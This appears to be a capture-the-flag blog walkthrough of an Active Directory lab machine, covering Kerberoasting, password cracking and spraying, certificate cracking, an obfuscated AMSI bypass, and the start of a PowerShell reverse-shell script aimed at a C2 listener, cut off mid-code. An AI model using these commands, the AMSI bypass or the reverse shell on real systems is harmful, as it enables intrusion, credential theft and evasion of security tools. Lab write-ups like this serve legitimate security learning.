<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741438612044/a70ed188-4039-4a2c-94f0-2af937feefce.png" alt class="image--center mx-auto" /></p>
<p><code>NETLOGON</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741438635058/e87d1558-c183-4be1-9e68-7834d31b86b7.png" alt class="image--center mx-auto" /></p>
<p><code>RedirectedFolders$</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741438740997/c051c02f-1ea8-44f0-b37d-4c45757633e3.png" alt class="image--center mx-auto" /></p>
<p>We found many directories containing many usernames... I checked the first directory <code>abril.suarez</code> but found out I don't have access.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741438941235/5f0a4923-1973-4cec-a79f-db89898fe6f0.png" alt class="image--center mx-auto" /></p>
<p>I found 2 directories that seemed interesting... I had access to the <a target="_blank" href="http://hope.sharp"><code>hope.sharp</code></a> directory and was able to list the files inside unlike the others.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741439123736/e861de79-9226-4523-859a-48bcb1d17ff2.png" alt class="image--center mx-auto" /></p>
<p>I also found a <code>user.txt</code> in the user <code>sierra.frye</code> directory, this might be a hint probably. I am able to list the directory <code>Desktop</code> when I try to get the <code>user.txt</code> file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741439186441/2faf4c31-8b2c-4cb6-aa11-f816b380d5cd.png" alt class="image--center mx-auto" /></p>
<p><code>SYSVOL</code> Inside the share we didn't get anything interesting.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741439436667/cbfcffe7-fdd3-47d0-bf10-7d04e17c63b4.png" alt class="image--center mx-auto" /></p>
<p>We had access to the <code>Policies</code> and <code>scripts</code> directory but not <code>DfsrPrivate</code>.</p>
<p><strong>SYSVOL Share</strong>: This share is used by domain controllers to store policies, scripts, and other settings that are replicated across the network. It’s an important directory in Active Directory environments, as it contains files necessary for GPO (Group Policy Object) management. <strong>Group Policy Objects (GPO)</strong>:</p>
<ul>
<li><p>Inside the <code>Policies</code> folder, there are several folders with GUID-like names (e.g., <code>{31B2F340-016D-11D2-945F-00C04FB984F9}</code>). These represent <strong>Group Policy Objects (GPOs)</strong> applied to various parts of the domain.</p>
</li>
<li><p>Each GPO folder contains a <code>GPT.INI</code> file and two subfolders: <code>MACHINE</code> and <code>USER</code>. These folders store configurations that apply to computers and users in the domain, respectively. The <code>SYSVOL</code> share contains important domain-related data such as Group Policy Objects (GPOs), logon scripts, and other files shared between domain controllers (DCs).</p>
</li>
</ul>
<p>With the credentials that we had we can use <code>bloodhound-python</code> to gather more intel about the AD. BloodHound-python will query the Domain Controller for the AD data.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741439516218/eb30fa65-f380-4633-b449-f539cc342c25.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">bloodhound-python</span> <span class="hljs-selector-tag">--username</span> <span class="hljs-selector-tag">hope</span><span class="hljs-selector-class">.sharp</span><span class="hljs-keyword">@search</span>.htb \  
--password <span class="hljs-string">'IsolationIsKey?'</span> \  
--collectionmethod ALL \  
--domain search.htb \  
--nameserver <span class="hljs-number">10.10</span>.<span class="hljs-number">11.129</span>
</code></pre>
<p>Using the commands above we will use BloodHound-python with the credentials. I want you to know that BloodHound-Python uses LDAP and SMB to authenticate and communicate with the Active Directory Domain Controllers. It actually queries LDAP to give information that enables it to do the entire mapping... info like users, groups, computers, sessions..... etc After retrieval we use the command:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">zip</span> <span class="hljs-selector-tag">bloodhound_data</span><span class="hljs-selector-class">.zip</span> *<span class="hljs-selector-class">.json</span>
</code></pre>
<p>To zip all the <code>.json</code> files which will be retrieved by bloodhound when its authenticated.</p>
<p>Then we transfer the data into bloodhound itself... we make sure to run neo4j.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741439649662/c6cfb17b-e445-4fad-b91e-f16c580b64b5.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">sudo</span> <span class="hljs-selector-tag">neo4j</span> <span class="hljs-selector-tag">console</span>
</code></pre>
<p>Once its up and running we can now open bloodhound and transfer the zip file information where it will extract and map it out for us....</p>
<p>On enumeration with bloodhound and we list the Kerberoastable accounts in the option located at the <strong>Analysis</strong> tab.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741439698527/7eafa9f5-b396-4827-8f6e-4b46f457ff62.png" alt class="image--center mx-auto" /></p>
<p>When you scroll down abit you will see the <strong>Kerberos Interaction</strong> section that's where you will click on the <em>List all Kerberoastable Accounts</em> and you will see the accounts that are actually Kerberoastable...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741439775156/226ba09c-aa52-4008-a053-8bae0566b095.png" alt class="image--center mx-auto" /></p>
<p>In here the account that is actually Kerberoastable is <strong>web_svc</strong> , bloodhound may list the Krbtgt account as Kerberoastable but its actually not... a Krbtgt account does not have an SPN but its a user account with associative privileges that are quite interesting and probably bloodhound might have misinterpreted... The privileges are like TGT Generation, Encryption and Signing, Domain Admin Group Membership and Control over service accounts... But for an account to be kerberoastable it <strong>must</strong> be tied to an SPN.</p>
<p>For Kerberoasting you can check out Vbscrubs video on it which explains how it works at a deeper level...</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=xH5T9-m9QXw">https://www.youtube.com/watch?v=xH5T9-m9QXw</a></div>
<p> </p>
<p>Here is how it works when someone wants to access a service... they sends a TGS-REQ to the Ticket Granting Server which is part of the Key Distribution Center, asking for a service ticket for the desired service. The TGS-REQ contains the Ticket Granting Ticket(TGT) which was obtained from the Authentication Server which is also part of the Key Distribution Center... So basically during Kerberos Pre-Authentication that TGT that you receive at the end of the pre-authentication is given by the Authentication Server which is part of the KDC... that TGT contains the details of the Krbtgt account's key but not the actual krbtgt hash itself... like the krbtgt hash only aided in encryption but it did not fully expose its actual hash. Only the Ticket Granting Server can decrypt the TGT to verify the persons identity... that that dude was the one they had pre-authed with initially lol. The actual hash is secure in the domain controller :)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741440359434/4bfd4e3b-dc86-4c53-88f2-a37c1ff80def.png" alt class="image--center mx-auto" /></p>
<p>image source:<a target="_blank" href="https://www.alteredsecurity.com/adlab">https://www.alteredsecurity.com/adlab</a></p>
<p>In the case of Kerberoasting what happens is you can find that a user account is designated as a service account that runs services like SQL, IIS the accounts actually contains the SPN(Service Principal Name) its a unique identifier that shows which services runs on an account.</p>
<p>So when a normal user wants to access a service they need to request access to a service... so they send the TGS-REQ to the KDC requesting the service ticket for an identified service account like in our scenario we see the account that is <em>web_svc</em> then the KDC will respond with a TGS-REP which contains the service ticket... This ticket contains the service account hash with is encrypted with e-type 23 as attackers we can try to crack this TGS-REP to get the password for the service account...</p>
<p>Basically the tool Impacket-GetUserSPNs does an ldap query to check for User accounts that have SPNs and after identifying when one sets the -request it sends the TGS-REQ and the KDC returns the TGS-REP which contains the hash that is encrypted with e-type 23(aes256) and thats exactly what we are going to use to get the TGS-REP.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741440569012/dd598085-9a32-4985-945f-50033a710637.png" alt class="image--center mx-auto" /></p>
<p>We were able to retrieve the TGS-REP... now all thats left for us to do is to use either Hashcat or JohnTheRipper to bruteforce the hash to get the password and sure enough we have got the password.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741440595692/960eb61b-d4bd-457a-9708-1a8a231f309d.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">john</span> <span class="hljs-selector-tag">--wordlist</span>=/<span class="hljs-selector-tag">usr</span>/<span class="hljs-selector-tag">share</span>/<span class="hljs-selector-tag">wordlists</span>/<span class="hljs-selector-tag">rockyou</span><span class="hljs-selector-class">.txt</span>  <span class="hljs-selector-tag">hash</span>
<span class="hljs-selector-tag">Using</span> <span class="hljs-selector-tag">default</span> <span class="hljs-selector-tag">input</span> <span class="hljs-selector-tag">encoding</span>: <span class="hljs-selector-tag">UTF-8</span>  
<span class="hljs-selector-tag">Loaded</span> 1 <span class="hljs-selector-tag">password</span> <span class="hljs-selector-tag">hash</span> (<span class="hljs-selector-tag">krb5tgs</span>, <span class="hljs-selector-tag">Kerberos</span> 5 <span class="hljs-selector-tag">TGS</span> <span class="hljs-selector-tag">etype</span> 23 <span class="hljs-selector-attr">[MD4 HMAC-MD5 RC4]</span>)  
<span class="hljs-selector-tag">Will</span> <span class="hljs-selector-tag">run</span> 8 <span class="hljs-selector-tag">OpenMP</span> <span class="hljs-selector-tag">threads</span>  
<span class="hljs-selector-tag">Press</span> '<span class="hljs-selector-tag">q</span>' <span class="hljs-selector-tag">or</span> <span class="hljs-selector-tag">Ctrl-C</span> <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">abort</span>, <span class="hljs-selector-tag">almost</span> <span class="hljs-selector-tag">any</span> <span class="hljs-selector-tag">other</span> <span class="hljs-selector-tag">key</span> <span class="hljs-selector-tag">for</span> <span class="hljs-selector-tag">status</span>  
<span class="hljs-keyword">@3ONEmillionbaby</span> (?)        
<span class="hljs-number">1</span>g <span class="hljs-number">0</span>:<span class="hljs-number">00</span>:<span class="hljs-number">00</span>:<span class="hljs-number">04</span> DONE (<span class="hljs-number">2024</span>-<span class="hljs-number">10</span>-<span class="hljs-number">12</span> <span class="hljs-number">20</span>:<span class="hljs-number">49</span>) <span class="hljs-number">0.2375</span>g/s <span class="hljs-number">2729</span>Kp/s <span class="hljs-number">2729</span>Kc/s <span class="hljs-number">2729</span>KC/s @<span class="hljs-number">421</span>eduymayte619..?!.r.<span class="hljs-number">3</span>.m?  
Use the <span class="hljs-string">"--show"</span> option to display all of the cracked passwords reliably  
Session completed.
</code></pre>
<p><strong>@3ONEmillionbaby</strong> is the password for the <strong>web_svc</strong> account.</p>
<p>In the node properties of the <strong>web_svc</strong> account... in that <strong>description</strong> portion we get info that its a <em>Temp Account created by HelpDesk</em>. This info gives room for the possibility that the password used in creating the service account may have been reused by a user.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741441032987/e6a04d73-3845-43e4-9a6e-4d6d2c9ba738.png" alt class="image--center mx-auto" /></p>
<p>From the bloodhound data that we had, we used <em>jq</em> which helped us in parsing the json output to retrieve the <em>samaccountname</em> that we can use to do a password spray attack to check which user that may have done such a mistake...</p>
<p>The command that we used to get a good output of the usernames from the json user data that we got from bloodhound-python is</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">cat</span> 20240907141704_<span class="hljs-selector-tag">users</span><span class="hljs-selector-class">.json</span> | <span class="hljs-selector-tag">jq</span> <span class="hljs-selector-tag">-r</span> '<span class="hljs-selector-class">.data</span><span class="hljs-selector-attr">[]</span> | <span class="hljs-selector-class">.Properties</span><span class="hljs-selector-class">.samaccountname</span>' &gt; <span class="hljs-selector-tag">users</span><span class="hljs-selector-class">.txt</span>
</code></pre>
<p>So it will parse and with the final information that it gets its gonna save it in <strong>users.txt</strong> then I will use nxc to start the password spraying...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741441152769/3c3add55-2d73-4e03-8605-1631a0292b31.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">nxc</span> <span class="hljs-selector-tag">smb</span> <span class="hljs-selector-tag">search</span><span class="hljs-selector-class">.htb</span> <span class="hljs-selector-tag">-u</span> <span class="hljs-selector-tag">users</span><span class="hljs-selector-class">.txt</span> <span class="hljs-selector-tag">-p</span> <span class="hljs-keyword">@3ONEmillionbaby</span> --continue-on-success
</code></pre>
<p>it identifies that we have access as <strong>Edgar.jacobs.</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741441200131/a2477324-295e-4c5f-a8f5-d149c798fcb2.png" alt class="image--center mx-auto" /></p>
<p>We do enumeration using the creds for edgar.jacobs by accessing his smb share on <strong>RedirectedFolders$</strong> inside desktop we get a file called <em>Phishing_Attempt.xlsx</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741441273161/408a6ca5-d673-408f-b8a2-e4b4495cc1f6.png" alt class="image--center mx-auto" /></p>
<p>so we transfer the file onto our machine... we use the <strong>get</strong> command for that ....</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741441314572/5190efda-de57-4dd7-9b0e-bed62cd0575c.png" alt class="image--center mx-auto" /></p>
<p>Now that we have downloaded it ... we open the xlsx file using <strong>libre office calc</strong> and we see that there is a column <strong>C</strong> which is hidden...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741441363643/12d13ecf-bc87-415f-97aa-2bb5d0dfa63b.png" alt class="image--center mx-auto" /></p>
<p>On trying to expand in order to view that column we get the error <em>Protected Cells cannot be modified.</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741441394639/971b0d11-238e-4f63-8ad9-a91ba10e4143.png" alt class="image--center mx-auto" /></p>
<p>Searching on Google online we get a blog on <em># How to Unlock Protected Excel Sheets Without a Password</em> (<a target="_blank" href="https://agio.com/how-to-unlock-protected-excel-sheets-without-a-password/\)which">https://agio.com/how-to-unlock-protected-excel-sheets-without-a-password/)which</a> we use to unlock the file.</p>
<p>So we follow the instructions in the blog where we unzip the excel file and access it. the files inside <em>Phishing_Attempt.xlsx</em> are extracted in the folder Ive created as shown down here.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741441419469/e109f64f-03c7-46b0-842c-efba8188a352.png" alt class="image--center mx-auto" /></p>
<p>We open the <code>/xl/worksheets/sheet2</code> using sublime text editor.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741441523833/7d21e0e1-510d-43b5-927f-3e8093ec5a11.png" alt class="image--center mx-auto" /></p>
<p>Then we remove the <code>&lt;sheetProtection</code> code we highlight the whole of that section and remove it as its stated in the blog.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741441555991/a9634b58-a2f2-4d37-bccd-f7e833b9e6db.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741441573668/e3954332-2198-4616-b0cb-cf1eda7d2df7.png" alt class="image--center mx-auto" /></p>
<p>Once we have done that we have to save the file as a <code>xlsx</code> file. So inside the <strong>Phishing_Attempt_Folder</strong> I use the command <code>zip -r ../Phishing_Attempt.xlsx .</code> It will compress the contents of the <strong>Phishing_Attempt_Folder</strong> and save it into a file called <em>Phishing_Attempt.xlsx</em> in the parent directory.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741441656415/4f37914d-c78b-4457-8d86-21ac0a3548a7.png" alt class="image--center mx-auto" /></p>
<p>Opening the file from the parent directory we see that we can see the hidden <strong>C</strong> column and the contents that are there.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741441727890/6e184bfa-ba24-45d3-9ee6-6b0bce430b41.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">Someone</span> <span class="hljs-selector-tag">can</span> <span class="hljs-selector-tag">also</span> <span class="hljs-selector-tag">use</span> <span class="hljs-selector-tag">google</span> <span class="hljs-selector-tag">docs</span> <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">view</span> <span class="hljs-selector-tag">the</span> <span class="hljs-selector-tag">C</span> <span class="hljs-selector-tag">column</span> <span class="hljs-selector-tag">thats</span> <span class="hljs-selector-tag">hidden</span> <span class="hljs-selector-pseudo">:)</span>
</code></pre>
<p>So now we are gonna take the usernames and the passwords and use <code>nxc</code> to check which credentials actually work.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741441804562/59ec86d4-b198-4347-90d1-884ca5de0dd5.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">nxc</span> <span class="hljs-selector-tag">smb</span> <span class="hljs-selector-tag">search</span><span class="hljs-selector-class">.htb</span> <span class="hljs-selector-tag">-u</span> <span class="hljs-selector-tag">users1</span> <span class="hljs-selector-tag">-p</span> <span class="hljs-selector-tag">passwords</span> <span class="hljs-selector-tag">--continue-on-success</span>
</code></pre>
<p>We were able to see that the credentials of Sierra.Frye actually work...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741441892650/223947cb-4337-4d9e-a607-eb38cc38e515.png" alt class="image--center mx-auto" /></p>
<p>the password for Sierra.Frye is <code>$$49=wide=STRAIGHT=jordan=28$$18</code> so we use them to enumerate smb and accessing her share from <code>RedirectedFolders$</code> shows us that we can get the user.flag which we happily download using the get command :)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741441988548/c158e57b-58b0-40ff-ba6a-35859d1ff863.png" alt class="image--center mx-auto" /></p>
<p>Continuing with our enumeration inside the <code>Downloads</code> directory there is a <code>Backups</code> directory which contains the files <code>search-RESEARCH-CA.p12</code> and <code>staff.pfx</code> . So we download both of them.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741442028090/9e74aeed-8064-4103-bb90-a9e6d339db1c.png" alt class="image--center mx-auto" /></p>
<p>So a the <code>.pfx</code> file and the <code>.p12</code> file are the same binary format... both follow the <strong>Public Key Cryptographic Standard #12</strong> one can simply change the extension without any trouble(<a target="_blank" href="https://chsamii.medium.com/p12-vs-pfx-certificate-ac812fa094ce">https://chsamii.medium.com/p12-vs-pfx-certificate-ac812fa094ce</a>) as it is in the blog... <code>pfx</code>(Personal Information Exchange File) and was a Microsoft one and <code>.p12</code> was a Netscape one.</p>
<p>They can contain a Private key, Public key and a digital certificate. Let me first of all try to import them on my browser... since if we remember closely we were getting a 403 error, we were probably being denied access because of not having the cert in the first place... and good enough we got a cert that is labelled <em>staff.pfx</em> this shows us that this might be instrumental in us accessing the <code>/staff</code> directory.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741442083812/221a8e04-105e-4517-b5da-44acf1bd26a0.png" alt class="image--center mx-auto" /></p>
<p>We saw that it requires a password when I tried to import the <code>staff.pfx</code> , when you also try to import <code>search-RESEARCH-CA.p12</code> you see that it asks for a password the same same way. So we decide to begin cracking... we begin by using <strong>pfx2john</strong> to convert it into a format which John can process. <strong>Pfx2john</strong> might be extracting the password hashes from the pfx/p12 file and it stores it in a format which JohnTheRipper can process. To prove that the files are sort of one and the same thing. I used pfx2john to convert them both and crack them both :)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741442154360/11ee6447-c514-4c00-a93f-6dd2ce88d520.png" alt class="image--center mx-auto" /></p>
<p>Both of them follow the Public Key Cryptographic Standard #12. We see that the password is <code>misspissy</code> for both the <code>.pfx</code> and <code>.p12</code>.</p>
<p>We access the <code>/staff</code> directory with the certificate we have, make sure its set to <code>https://</code> not <code>http://</code> we are going to be identifying ourselves with the certificate we have just imported.</p>
<p>You get met with:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741442253679/ea352b31-b61c-4ca1-9599-2927c952a32c.png" alt class="image--center mx-auto" /></p>
<p>Just click on <strong>Accept the Risk and Continue</strong> we are met with:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741442286384/ba004da6-c6db-41c1-8982-93fae74a27bb.png" alt class="image--center mx-auto" /></p>
<p>So we identify ourselves with that certificate.</p>
<p>Now we are met with the staff page.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741442313937/d4cba841-d68c-4c13-b0d7-a519659f4ed9.png" alt class="image--center mx-auto" /></p>
<p>We make sure to enter the credentials that we had for sierra.frye and set the computer name to <em>research</em> because research is the host name that we had identified earlier as its responsible with the functionalities of the CA... Like how when we submit that certificate it was accepted after it passed all those checks that we had spoke about earlier.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741442374925/70e64d3b-30bc-484f-bae8-c0c74ba7126f.png" alt class="image--center mx-auto" /></p>
<p>and now we are in :)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741442408292/cd4ef243-f02c-4164-a745-ef907323566b.png" alt class="image--center mx-auto" /></p>
<p>I decide to head over to <a target="_blank" href="http://revshells.com">revshells.com</a> and grab me a nice powershell base64 encoded reverse shell and then I set up my listener.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741442435375/ab5aaed0-cc28-4eac-9bd3-924ee49e16e0.png" alt class="image--center mx-auto" /></p>
<p>and the listener:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741442458643/300d2bb1-4065-4040-968a-8fa689cf3eca.png" alt class="image--center mx-auto" /></p>
<p>So now what am left to do is copy the reverse shell and execute as sierra.frye on her powershell web console.</p>
<p>Sadly AMSI is running it felt like i was running so fast and hit a brick wall😂...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741442546129/c9e0b701-37b7-4688-bf7a-ffe77e91eaab.png" alt class="image--center mx-auto" /></p>
<p>We need to bypass AMSI... we will use</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">S</span>`<span class="hljs-selector-tag">eT-It</span>`<span class="hljs-selector-tag">em</span> ( '<span class="hljs-selector-tag">V</span>'+'<span class="hljs-selector-tag">aR</span>' + '<span class="hljs-selector-tag">IA</span>' + ('<span class="hljs-selector-tag">blE</span><span class="hljs-selector-pseudo">:1'+'q2')</span> + ('<span class="hljs-selector-tag">uZ</span>'+'<span class="hljs-selector-tag">x</span>') ) ( <span class="hljs-selector-attr">[TYpE]</span>( "{1}{0}"<span class="hljs-selector-tag">-F</span>'<span class="hljs-selector-tag">F</span>','<span class="hljs-selector-tag">rE</span>' ) ) ; ( <span class="hljs-selector-tag">Get-varI</span>`<span class="hljs-selector-tag">A</span>`<span class="hljs-selector-tag">BLE</span> ( ('1<span class="hljs-selector-tag">Q</span>'+'2<span class="hljs-selector-tag">U</span>') +'<span class="hljs-selector-tag">zX</span>' ) <span class="hljs-selector-tag">-VaL</span> )."<span class="hljs-selector-tag">A</span>`<span class="hljs-selector-tag">ss</span>`<span class="hljs-selector-tag">Embly</span>"."<span class="hljs-selector-tag">GET</span>`<span class="hljs-selector-tag">TY</span>`<span class="hljs-selector-tag">Pe</span>"(( "{6}{3}{1}{4}{2}{0}{5}" <span class="hljs-selector-tag">-f</span>('<span class="hljs-selector-tag">Uti</span>'+'<span class="hljs-selector-tag">l</span>'),'<span class="hljs-selector-tag">A</span>',('<span class="hljs-selector-tag">Am</span>'+'<span class="hljs-selector-tag">si</span>'),('<span class="hljs-selector-class">.Man</span>'+'<span class="hljs-selector-tag">age</span>'+'<span class="hljs-selector-tag">men</span>'+'<span class="hljs-selector-tag">t</span>.'),('<span class="hljs-selector-tag">u</span>'+'<span class="hljs-selector-tag">to</span>'+'<span class="hljs-selector-tag">mation</span>.'),'<span class="hljs-selector-tag">s</span>',('<span class="hljs-selector-tag">Syst</span>'+'<span class="hljs-selector-tag">em</span>') ) )."<span class="hljs-selector-tag">g</span>`<span class="hljs-selector-tag">etf</span>`<span class="hljs-selector-tag">iElD</span>"( ( "{0}{2}{1}" <span class="hljs-selector-tag">-f</span>('<span class="hljs-selector-tag">a</span>'+'<span class="hljs-selector-tag">msi</span>'),'<span class="hljs-selector-tag">d</span>',('<span class="hljs-selector-tag">I</span>'+'<span class="hljs-selector-tag">nitF</span>'+'<span class="hljs-selector-tag">aile</span>') ),( "{2}{4}{0}{1}{3}" <span class="hljs-selector-tag">-f</span> ('<span class="hljs-selector-tag">S</span>'+'<span class="hljs-selector-tag">tat</span>'),'<span class="hljs-selector-tag">i</span>',('<span class="hljs-selector-tag">Non</span>'+'<span class="hljs-selector-tag">Publ</span>'+'<span class="hljs-selector-tag">i</span>'),'<span class="hljs-selector-tag">c</span>','<span class="hljs-selector-tag">c</span>,' ))."<span class="hljs-selector-tag">sE</span>`<span class="hljs-selector-tag">T</span>`<span class="hljs-selector-tag">VaLUE</span>"( ${n`ULl},${t`RuE} )
</code></pre>
<h2 id="heading-what-it-does">What it does:</h2>
<p>Since the bypass is obfuscated to avoid signature based detection, here is the deobfuscated version of it:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">Set-Item</span> <span class="hljs-selector-tag">-Path</span> '<span class="hljs-selector-tag">Variable</span><span class="hljs-selector-pseudo">:1q2uZx'</span> <span class="hljs-selector-tag">-Value</span> (<span class="hljs-selector-attr">[Type]</span>('<span class="hljs-selector-tag">Ref</span>'))
(<span class="hljs-selector-tag">Get-Variable</span> 1<span class="hljs-selector-tag">q2uZx</span> <span class="hljs-selector-tag">-ValueOnly</span>)<span class="hljs-selector-class">.Assembly</span><span class="hljs-selector-class">.GetType</span>(<span class="hljs-selector-class">.Management</span><span class="hljs-selector-class">.Automation</span><span class="hljs-selector-class">.AmsiUtils</span>").
    <span class="hljs-selector-tag">GetField</span>("<span class="hljs-selector-tag">amsiInitFailed</span>", "<span class="hljs-selector-tag">NonPublic</span>,<span class="hljs-selector-tag">Static</span>")<span class="hljs-selector-class">.SetValue</span>($<span class="hljs-selector-tag">null</span>, $<span class="hljs-selector-tag">true</span>)
</code></pre>
<p>it first creates a Powershell variable called <code>1q2uZx</code> and assigns it a type reference <code>[Type]('Ref')</code> , <code>Ref</code> is a placeholder that helps access .NET internals that is <code>System.management.automation</code> which is in the bypass, The part we are talking about right now is:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">Set-Item</span> <span class="hljs-selector-tag">-Path</span> '<span class="hljs-selector-tag">Variable</span><span class="hljs-selector-pseudo">:1q2uZx'</span> <span class="hljs-selector-tag">-Value</span> (<span class="hljs-selector-attr">[Type]</span>('<span class="hljs-selector-tag">Ref</span>'))
</code></pre>
<p>So now through the variable that <code>1q2uZx</code> we access <code>System.Management.Automation</code> and extract <code>AmsiUtils</code> class which is responsible for AMSI scanning in Powershell. For the next part inside the <code>AmsiUtils</code> class we locate a <code>amsiInitFailed</code> which is a private static field that tells Windows whether AMSI is enabled or not. The part we are talking about is:</p>
<pre><code class="lang-css"><span class="hljs-selector-class">.GetField</span>("<span class="hljs-selector-tag">amsiInitFailed</span>", "<span class="hljs-selector-tag">NonPublic</span>,<span class="hljs-selector-tag">Static</span>")
</code></pre>
<p>So we actually set this to true making AMSI think that it failed to initialize lol as shown below:</p>
<pre><code class="lang-css"><span class="hljs-selector-class">.SetValue</span>($<span class="hljs-selector-tag">null</span>, $<span class="hljs-selector-tag">true</span>)
</code></pre>
<p>and voila its now bypassed.... I used the command 'amsiutils' to see whether AMSI will react but AMSI didn't react lol.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741442889528/8b0958bf-4978-4fe7-ab7b-541042c5bfde.png" alt class="image--center mx-auto" /></p>
<p>The reason why it flags 'amsiutils' as a term normally is because this is a powershell module that malicious actors like yours truly over here interacts with in order to bypass AMSI. Powershell recognizes certain commands or patterns as an attempt to tamper with AMSI and detects them(like how it does when we invoke 'amsiutils'). So if we see above we have successfully bypassed AMSI thats why it does not have any problem. Now the stage is ours lol. I tried using the powershell base64 encoded reverse shell but i still would get the same errors. Looks like Defender is recognizing patterns in the decoded script <strong>even after AMSI is bypassed</strong>. When a <strong>Base64-encoded</strong> PowerShell command is executed using <code>-EncodedCommand</code>, PowerShell must first <strong>decode</strong> the string before execution and during this time AMSI hooks into this process, scanning the script before its executed. But we bypassed AMSI why does AMSI still hook on our process? thats because the AMSI bypass we used only disabled AMSI initialization but does not remove hooks.</p>
<p>So if we were to make this work we should Unhook AMSI properly by patching the <code>AmsiScanBuffer</code> or even unhook AMSI by using C#. To have a clear view on how you can achieve this you can read how Victor Khoury uses a technique that exploits a writable entry inside <code>System.Management.Automation.dll</code> to manipulate the address of the <code>AmsiScanBuffer</code> to bypass AMSI without changing memory protection settings. (This is pretty stealthy as most AVs AMSI heuristic based detection is centered around the bypass leveraging the VirtualProtect API😂) This was released back in May 2024 so I bet by now AVs are on the lookout for this but its a pretty good resource to get more understanding and to also allow room for more exploration in AMSI bypass, I'll also include Ziyi Shen's blog whereby he's broken down various AMSI bypass techniques, He breaks down everything intricately you should have a good read at it.</p>
<p>Victor Khoury's blog post (<a target="_blank" href="https://www.offsec.com/blog/amsi-write-raid-0day-vulnerability/">https://www.offsec.com/blog/amsi-write-raid-0day-vulnerability/</a>)</p>
<p>Ziyi Shen's blog post (<a target="_blank" href="https://winslow1984.com/books/red-team/page/bypass-amsi-on-windows-11">https://winslow1984.com/books/red-team/page/bypass-amsi-on-windows-11</a>)</p>
<p>So we used the powershell reverse shell from <a target="_blank" href="https://github.com/martinsohn/PowerShell-reverse-shell/blob/main/powershell-reverse-shell.ps1">https://github.com/martinsohn/PowerShell-reverse-shell/blob/main/powershell-reverse-shell.ps1</a> which gives us a neat connection. This works because it's <strong>not encoded</strong>, so it doesn't go through <code>-EncodedCommand</code> decoding (which AMSI scans because it still hooks into the process(we didn't deal with this part lol)). the code we used is:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">do</span> {
    # Delay before establishing network connection, and between retries
    Start-Sleep -Seconds 1

    # Connect to C2
    try{
        $TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.2', 13337)
    } <span class="hljs-selector-tag">catch</span> {}
} <span class="hljs-selector-tag">until</span> ($<span class="hljs-selector-tag">TCPClient</span><span class="hljs-selector-class">.Connected</span>)

$<span class="hljs-selector-tag">NetworkStream</span> = $<span class="hljs-selector-tag">TCPClient</span><span class="hljs-selector-class">.GetStream</span>()
